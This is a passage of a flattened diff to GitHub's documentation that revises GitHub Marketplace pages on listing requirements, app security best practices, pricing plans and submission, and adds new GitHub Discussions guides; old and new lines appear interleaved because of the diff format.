variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.  Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing.  {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows  You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)"  For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results.  1. In the list of discussions, click the discussion you want to view.  ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**.  1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: 